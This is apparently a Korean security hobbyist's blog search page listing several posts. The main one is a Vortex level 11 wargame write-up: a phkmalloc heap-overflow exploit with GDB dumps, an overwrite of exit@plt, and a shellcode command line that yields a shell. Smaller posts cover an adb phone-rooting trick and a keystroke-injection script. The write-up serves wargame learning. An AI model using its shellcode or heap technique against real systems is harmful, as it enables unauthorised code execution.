Search results for 'before I die'

SSDT & SSDT shadow restore

2014. 2. 12. 23:52
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

io smashthestack level25

2014. 2. 9. 18:21
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

io smashthestack level24

2014. 2. 9. 18:18
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

vortex12

2014. 1. 2. 02:31
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Optimus G Pro(F240) rooting

2013. 7. 12. 15:59

APK 분석 하다 폰을 루팅할 일이 있어 구글링을 해보았더니

optiusforums.com에서 루팅관련 글을 발견할 수 있었다.


http://optimusforums.com/threads/how-too-root-optimus-g-pro-f240-download.7652/


root.bat 파일을 열어보니


adb shell touch /sdcard/g_security


요거 한줄 뿐이 없음. 


정체를 알수 없는 파일이 실행되는 게 아니라서 한번 해보았는데 바로 루팅이 됨 -_-b

업데이트로 언제 막힐지는 모르지만 좀 짱인듯


readme.txt 파일에는 요렇게 적혀 있다ㅋㅋ


if you are a lg official developer,please don't fix the bug.if you do that,i promise,next time,only few customers will buy yours phones.thanks.


LG Optimus G Pro Root (optimusforums.com).rar


'Sabzil' 카테고리의 다른 글

SSDT & SSDT shadow restore  (0) 2014.02.12
Linux Oracle GUI client  (0) 2013.05.15
Ubuntu 12.10 에서 libboost1.48-all-dev 가 설치 되지 않을 때  (3) 2013.02.14
how to set debug environment for android  (0) 2012.09.14
oracle sql injection with rownum  (0) 2011.09.01
Shellcode site  (0) 2009.09.29
hey JJAAPPPHH ~  (4) 2009.08.17
hey JaPH  (1) 2009.08.12
6회 kisa 해킹방어대회 6번  (0) 2009.07.09
ABI (Application Binary Interface)  (0) 2009.03.17

badcob Sabzil

SendMessage by winappdbg

2013. 6. 12. 15:27

특정 Control에 특정 메세지를 전송.

target window 아래 child window을 뒤져 원하는 핸들값을 찾아내고 메시지를 전송.


from winappdbg import System, version, HexDump, win32
import sys, time

def send_input(hwnd, msg):
    for c in msg:
            win32.SendMessage(hwnd, user32.WM_CHAR, ord(c), 0)
            time.sleep(0.5)

user32 = win32.user32

txt = 'I am Legend.\n'

system = System()

for window in system.get_windows():
    if window.classname == 'Notepad':
        tmp =  user32.EnumChildWindows(window)
        for x in tmp:
            if user32.GetClassNameA(x) == 'Edit':
                send_input(x, txt)


'Code > Python' 카테고리의 다른 글

decode captcha by python  (0) 2012.11.12
handling HTTP by python module  (0) 2011.07.04
ISEC 2009 level3 solution by winappdbg  (0) 2010.09.16
hust 8th level D - python  (0) 2009.10.17

badcob Code/Python

Linux Oracle GUI client

2013. 5. 15. 18:13

pentest 할 때 oracle database에 붙을 일이 자주 생겨서..


backtrack에서 쓸만한 GUI 클라이언트가 있나 찾아보니  razorsql 이란게 있더라.


http://www.razorsql.com/download_linux.html


다른 OS도 지원하고인터페이스도 깔끔하니 자바기반이라 설치할 필요없이 쓸 수 있어 추천.


유료 툴이라 30일 사용 기간이 있으니 알아서들..

'Sabzil' 카테고리의 다른 글

SSDT & SSDT shadow restore  (0) 2014.02.12
Optimus G Pro(F240) rooting  (0) 2013.07.12
Ubuntu 12.10 에서 libboost1.48-all-dev 가 설치 되지 않을 때  (3) 2013.02.14
how to set debug environment for android  (0) 2012.09.14
oracle sql injection with rownum  (0) 2011.09.01
Shellcode site  (0) 2009.09.29
hey JJAAPPPHH ~  (4) 2009.08.17
hey JaPH  (1) 2009.08.12
6회 kisa 해킹방어대회 6번  (0) 2009.07.09
ABI (Application Binary Interface)  (0) 2009.03.17

badcob Sabzil

Vortex11

2013. 4. 2. 18:09

오랫만에 풀어보는 vortex. 문제 설명을 보자.


Chunk Corruption
You must corrupt the heap in order to gain arbitrary control of this program. Do recall, the application is using phkmalloc.

#include <stdio.h>
#include <string.h>


int main(int argc, char **argv) {
        char *p;
        char *q;
        char *r;
        char *s;
        if (argc < 3)
        {
                exit(0);
        }
        p = (char *) malloc(0x800);
        q = (char *) malloc(0x10);
        r = (char *) malloc(0x800);
        strcpy(r , argv[1]);
        s = (char *) malloc(0x10);
        strncpy(s , argv[2], 0xf);
        exit(0);
}
감이 오질 않아 http://www.overthewire.org/wargames/vortex/vortex11.shtml 에 
링크된 문서 중에 BSD Heap Smashing 문서를 읽어보았다. 중요한 내용을 추려보자면..


chunks are handled differently, depending on their size.


Other chunks are tiny and medium-sized chunks. The size of such chunks is always
a power of 2, and the smallest chunk size is malloc_minsize, that is defined as:

#define malloc_minsize          16U

A given memory page may not contain two chunks that do not have the same size.
When a tiny or medium-sized chunk is allocated, it is included in an existing
page containing other chunks that have the same size if such a page is
available. Otherwise, exactly one memory page is requested from the lower layer,
and the chunk is included in the newly allocated page.

Large chunks are chunks whose size is larger than half a page. When such a
chunk is allocated, the top level layer simply requests a number of adjacent
memory pages given by the size of the chunk rounded up to a multiple of
malloc_pagesize, and then divided by malloc_page_size.


When a memory page contains tiny or medium-sized chunks, a structure describing
which chunks are free and which chunks are in use is associated with the page.
These structures are kept in several linked lists, one list for each possible
size of chunks. A pointer to the head of each list is stored in the first part
of the pages directory: page_dir[j] where j is such that ( 1 << j ) is the size
of the chunks contained in the page.

These structures are declared as follows:

struct pginfo {
    struct pginfo       *next;  /* next on the free list */
    void                *page;  /* Pointer to the page */
    u_short             size;   /* size of this page's chunks */
    u_short             shift;  /* How far to shift for this size chunks */
    u_short             free;   /* How many free chunks */
    u_short             total;  /* How many chunk */
    u_int               bits[1]; /* Which chunks are free */
};


The next field is a pointer to the next structure in the list, or 0 if the
element is the last of the list.

The page field points to the beginning of the page (it is always a multiple of
malloc_pagesize).

The size field is set to the size in bytes of the chunks contained in this page.

The free field is the number of free chunks in the page.

The total field is the sum of the number of free chunks in the page and of the
number of allocated chunks in the page. The page is freed (ie. returned to the
lower layer) whenever ( free == total ) becomes true.

......


A simple technique may be used to exploit basic heap buffer overflows. It simply
requires to overwrite the page, shift, and bits fields of a pginfo structure,
then the attacker controls the return value of the next dynamic allocation of
the appropriate size. This technique requires the ability to create a gap in
the heap: first, a chunk that has the size of a struct pginfo is allocated,
then another chunk, whose only role is to force the allocator to create a new
page and thus place a pginfo structure immediately after the first chunk. Then,
the first chunk is freed, and immediately allocated again, overflowed, and the
freshly allocated pginfo structure is overwritten. Next call to malloc() returns
whatever the attacker wants and may be used to erase a saved EIP, a GOT entry,
or whatever.


이해한대로 요약하면 malloc으로 힙을 할당할 때, 할당 사이즈에 따라 각각 Large chunk, medium chunk, tiny chunk 로 분류해서 처리하는데 tiny chunk 가 생성될 때 해당 page에서 chunk 들을 링크드리스트로 관리하는 구조체가 존재한다. 구조체 정보는 다음과 같다.

struct pginfo {
    struct pginfo       *next;  /* next on the free list */
    void                *page;  /* Pointer to the page */
    u_short             size;   /* size of this page's chunks */
    u_short             shift;  /* How far to shift for this size chunks */
    u_short             free;   /* How many free chunks */
    u_short             total;  /* How many chunk */
    u_int               bits[1]; /* Which chunks are free */
};

여기서 page 는 말 그대로 page를 가리키는 포인터이다. 이 값을 조작하면 다음에 할당될 주소를 바꿀 수 있어서 exploit 가 가능해진다. 공격하기 전에 다음 내용을 확인.


Before starting, the reader needs to know the following details about phk malloc
on Intel i86 (more detail is provided in appendix B):

  * tiny chunks are 16 (0x10) and 32 (0x20) bytes chunks
  * medium-sized chunks range from 64 (0x40) to 2048 (0x1000/2) bytes, inclusive
  * a memory page is 4096 (0x1000) bytes long
  * pginfo structures range between 20 and 32 bytes (remember the bits field has
    a variable width), and are stored in 32 bytes chunks, except for 16 bytes
    chunks pages, whose pginfos are 48 bytes long
  * pgfree structures are 20 bytes long

풀이과정을 대충 요약하면

1) 소스내용을 보고 GDB에서 할당된 주소를 확인

        p = (char *) malloc(0x800);
        q = (char *) malloc(0x10);
        r = (char *) malloc(0x800);
        strcpy(r , argv[1]);
        s = (char *) malloc(0x10);
        strncpy(s , argv[2], 0xf);
        exit(0);

p  -  0x0804e000
q  -  0x0804f030
r  -  0x0804e800
s  -  0x0804f040

p, r 은 0x800 만큼 0x0804e000, 0x0804e800 에 연속해서 할당

q, s 는 tiny chunk로(0x10) 0x0804f030, 0x0804f040에 할당

q 가 할당될 때 0x0804f000 이 아니라 0x0804f030 부터 할당되는 이유는 chunk를 관리하는 구조체가 앞쪽에 위치하기 때문이다.

2) gdb에서 구조체를 확인

(gdb) x/30x 0x0804f000
0x804f000:      0x00000000      0x0804f000      0x00040010      0x00fd00fb
0x804f010:      0xffffffe0      0xffffffff      0xffffffff      0xffffffff
0x804f020:      0xffffffff      0xffffffff      0xffffffff      0xffffffff
0x804f030:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f040:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f050:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f060:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f070:      0xd0d0d0d0      0xd0d0d0d0

위 주소의 값들을 pginfo 구조체로 그려보면

struct pginfo {
    struct pginfo       *next = NULL;           /* next on the free list */
    void              *page = 0x0804f000;     /* Pointer to the page */
    u_short             size  = 0x10;           /* size of this page's chunks */
    u_short             shift = 0x4;            /* How far to shift for this size chunks */
    u_short             free  = fb;             /* How many free chunks */
    u_short             total = fd;             /* How many chunk */
    u_int               bits[1] = 0xffffffe0;   /* Which chunks are free */
};


3) target address 확인

 page pointer를  원하는 주소로 오버라이트 하면 strncpy를 호출해 원하는 값을 쓸 수 있게 된다.

exit 함수 때문에 dtors_end 는 사용할 수 없으므로 exit 함수의 plt 가 가장 만만해 보인다.

Dump of assembler code for function exit@plt:
   0x080486a0 <+0>:     jmp    *0x804c048
   0x080486a6 <+6>:     push   $0x90
   0x080486ab <+11>:    jmp    0x8048570

두 번째 할당되는 chunk 는 0x0804f000 + 0x40에 할당되는 것을 볼 수 있다. 
따라서 쓰고자 하는 주소 - 0x40 한 값을 사용한다.

0x0804c048 - 0x40 = 0x0804c008

4) payload 구성

쉘코드는 msf로 /bin/sh를 실행하도록 생성

payload는 0x0804e800부터 0x800 바이트를 nopsled + shellcode 로 대충 구성.

[target program] [nop * 1900 + shellcode + 0x0804c008] [somewhere of nopsled]


5) Result

vortex11@melissa:/vortex$ ./vortex11 "`python -c 'print "\x90"*1900+"\x89\xe2\xda\xca\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x76\x6b\x76\x38\x4e\x79\x50\x52\x73\x56\x71\x78\x64\x6d\x35\x33\x4d\x59\x5a\x47\x61\x78\x46\x4f\x50\x73\x51\x78\x57\x70\x42\x48\x64\x6f\x72\x42\x50\x69\x42\x4e\x6e\x69\x6b\x53\x56\x32\x79\x78\x36\x68\x37\x70\x45\x50\x73\x30\x36\x4f\x45\x32\x61\x79\x62\x4e\x34\x6f\x32\x53\x53\x58\x45\x50\x43\x67\x46\x33\x6c\x49\x6b\x51\x58\x4d\x6f\x70\x41\x41"+"\x08\xc0\x04\x08"*2'`" `python -c 'print "\xa6\xe8\x04\x08"'`
$ id
id: not found
$ cd /etc
$ id
uid=5011(vortex11) gid=5011(vortex11) euid=5012(vortex12) groups=5012(vortex12),5011(vortex11)
$ cd /etc/vortex_pass
$ cat vortex12
########
$


'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

Ubuntu 12.10 에서 libboost1.48-all-dev 가 설치 되지 않을 때

2013. 2. 14. 20:32

/etc/apt/sources 에 다음 저장소를 추가해주면 됨.

deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe


설치 안되서 한참 헤멤 아오 빡쳐


'Sabzil' 카테고리의 다른 글

SSDT & SSDT shadow restore  (0) 2014.02.12
Optimus G Pro(F240) rooting  (0) 2013.07.12
Linux Oracle GUI client  (0) 2013.05.15
how to set debug environment for android  (0) 2012.09.14
oracle sql injection with rownum  (0) 2011.09.01
Shellcode site  (0) 2009.09.29
hey JJAAPPPHH ~  (4) 2009.08.17
hey JaPH  (1) 2009.08.12
6회 kisa 해킹방어대회 6번  (0) 2009.07.09
ABI (Application Binary Interface)  (0) 2009.03.17

badcob Sabzil

Holyshield 2010 Write up

2012. 11. 28. 10:14

에.. 2 년이나 지난  writeup.

바이너리 파트만 맡아서 했었는데

내가 이런걸 썼었나 싶음


지금 보면 저 땐 참 열심히 했던거 같다.


그냥 블로그 한켠에 저장해 놓고 싶어 올림.



HolyShit.pdf



'CTF' 카테고리의 다른 글

JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF